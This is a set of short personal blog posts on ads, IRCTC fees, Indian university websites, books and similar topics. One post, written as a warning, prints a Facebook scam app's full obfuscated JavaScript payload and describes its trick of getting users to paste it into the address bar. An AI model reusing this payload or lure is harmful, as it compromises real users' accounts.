They are following me everywhere. Yes, I admit I’ve been there. But that’s not a crime!

What is more surprising than you find internet marketing ads are following you? I visited Dominio.com and NetowrkSolutions.com yesterday, and today found them following me wherever I go. On totally different content, repeatedly and on multiple sites. Here are screen-shots.

I know the only way to get rid is to clear browser cookies. I did and they went away!

[Note: Typically I use AdBlockPlus, but these days I am trying to understand how AdWords works.]

- Ankit

tool used for creation: http://vectormagic.com/online/how_it_works

Another from Wikipedia: http://en.wikipedia.org/wiki/File:IIT_Kanpur_Logo.svg

-Ankit

A perfectly crafted FaceBook app to hack your account. Here is URL: 10 lies girls ALWAYS tell guys! funny! (Do not follow instructions unless you want your account be compromised)

The app asks you to press <ctrl> + C, <alt> + D, <ctrl> + V and <enter> to paste a JavaScript in to your browser’s address bar. I don’t know what will happen next, follow the instructions if you want your account to be compromised .

JavaScript it pastes:
javascript:(function(){a='app120196878004524_jop';b='app120196878004524_jode';ifc='app120196878004524_ifc';ifo='app120196878004524_ifo';mw='app120196878004524_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

The app has an hidden <textarea> with keyboard focus. When you press <ctrl> + C, its content gets selected and then you follow instructions to paste it in address bar! Never ever do that.

IRCTC charges flat Rs 10 on each ticket as their service charge. But why? Cards payment industry has a painful clause that merchants has to bear any fraud. For example, if a fraudster books a ticket with stolen card and later the card owner files a chargeback, IRCTC has to pay the amount back. But the fraudster has finished enjoying travel before owner files a chargeback! So how to does they deal with this? IRCTC decided (like what other merchants do) to take this from consumers as an insurance money. And that’s how an honest poor Indian suffers!

Let’s get back to the business of this post. Apart for typical IRCTC charges, the consumer has to beer additional bank charges too. Refer the list of transaction service fees charged by various banks at IRCTC. All credit card payment gateways charge 1.65-1.8% of transaction amount, Debit cards are charged at flat Rs 10 while net-banking transactions are charged a little more (Rs 10 + Service Tax).

If you want to save a few bucks while booking small tickets (up to Rs 600) use credit cards and debit cards if they are enabled. ICICI has enabled use of Visa debit-cards at credit-card gateways. I typically select Axis PG and use ICICI debit card. As a result I pay Rs 10 + 1.65% additionally.

- ankit

(for vsnlproxy. as of 25 April,2010)

It means at IITK people download videos at an average speed of 5.3 kilo kbps. People here enjoy the best internet/networking infrastructure in UP (or probably in India too). The average speed is almost 10 times better than what an average Indian gets. If you see carefully, the average for Kanpur is pulled up 3 times compared to rest of India and UP. Why? I think it’s just because of IITK!

Note: The data for bsnlproxy is too different. Seems like using vsnlproxy downloads videos much faster.

- ankit

Rich colour photographs: They add liveliness to your website. Some of the academic websites have photographs of saturated colours and these are highly discouraged. Photographs of real students (or at least Indian people/models), campus or building definitely helps in making applicant’s mind.

Latest Happenings: Building a website is a continuous process, and it must have up-to-date information.

Moving content: Widely said – moving content on websites is bad. However, as long as it does not hurt visitor’s attention it is acceptable. For example, the fast moving content at IIITM made me search for what I’m looking.

Two institutes which took my immediate attention are Mangalayatan University and IIT Madras. They both have some of the best designs and give the first impression of excellence! However, I personally prefer former as their whole (home page) content fitted in viewing area. For IIT Madras’s home page, I am required to scroll through to see rest of the content. At last, IIT Madras wins the game because of their ‘site search’ feature and CMS.

1. IIT Madras (IITM)

They have a well chosen color scheme, search box placement and classification of information. No doubt it is designed by students, but it shows their excellence! I am amazed to see Joomla as their CMS. I think they are the only guys using a full fledged CMS in Indian academic world. Hats off to their excellence and awareness!

2. Mangalayatan University

Well chosen theme, photographs, course locator and highlighting of admission process. Pros: fat footer!

3. Jaipuria Institute of Management (NOIDA)

Pros: Photo animation, Color selection. Focus on admission. Cons: Not any.

4. IIT Bombay

Pros: selection of high contrast colour scheme, sidebar menu arrangement. Cons: scrolling events list and flashing footer.

5. IIM Ahmedabad (IIMA)

Pros: Photo animation. Cons: somewhere it seemed to have messy content. I feel they should experiment with alternate layouts. Also, the sitemap link is problematic as popups are not visible to search engines.

6. Delhi College of Engineering (DCE)

Pros: Home page design and content placement. Cons: Placement of logo and header should be tweaked; they are overlapping with photo gallery.

7. IIIT Bangalore

Cons: Search feature is missing.

1. Rajiv Academy for Technology & Management: Their home-page design is worth to mention. However, they do not have good search engine ranking and most of the web-pages are broken.

- Ankit

Disclaimer: This post is my personal opinion and parameters chosen for ranking may not be complete; all it is from the website’s first impression. If you think your website is missing send me a link. If it influences me, I’ll be happy to list it here. Website is not the only criteria for choosing a school. This post just chooses some of the best homepage designs from India academic world and should not be treated in any decision making.

Two books got chance to be in my reading list:

1. The High Performance Entrepreneur, by Subroto Bagchi.
   Well, there is no golden rule which can bring success, and that’s fact! For all you need these books/talks is to keep you motivated, raised, working, rocking; else u may loose your aspiration in very early days. Thank you flipkart for delivering in absolute two days; you guys rock.
2. Software Product Lines: Patterns and Practices, by Paul Clements, Linda Northrop.
   I could not stop reading first chapter. These guys have put a new perspective to my thinking about product lines, they describe very well what is not a software-product-line and what actually it’s. Building a software and serving multiple clients is not achieved by a great software architecture, instead you should think from a perspective of a product line. Just started reading this book. The book describes concepts with relevant case-studies.

 

- Ankit
( Note: Guten Tag is everyday German greetings! )

1. Install User Agent Switcher addon in Firefox
2. Restart Firefox
3. Go to Options Menu > Default User Agent. Select iPhone 3.0
4. Log on to https://m.google.com/app/buzz

and you are there… Happy Buzzing!

Typically, on this day either government or some organizations publish public service ads declaring their vision. But today it seems our government is run out of funds. There were some ads by Ministry of Power, but that did not cover all leading publications. The TOI group has huge spaces and funds for promoting TimesNow and their reports’ bravery, but not for our freedom fighters.

Ack: Wikipedia

* These newspapers are referred in Kanpur. Probably a Kanpur or Lucknow edition.

Note: Seagate’s quoted “1TB” disk is actually a 931GB disk.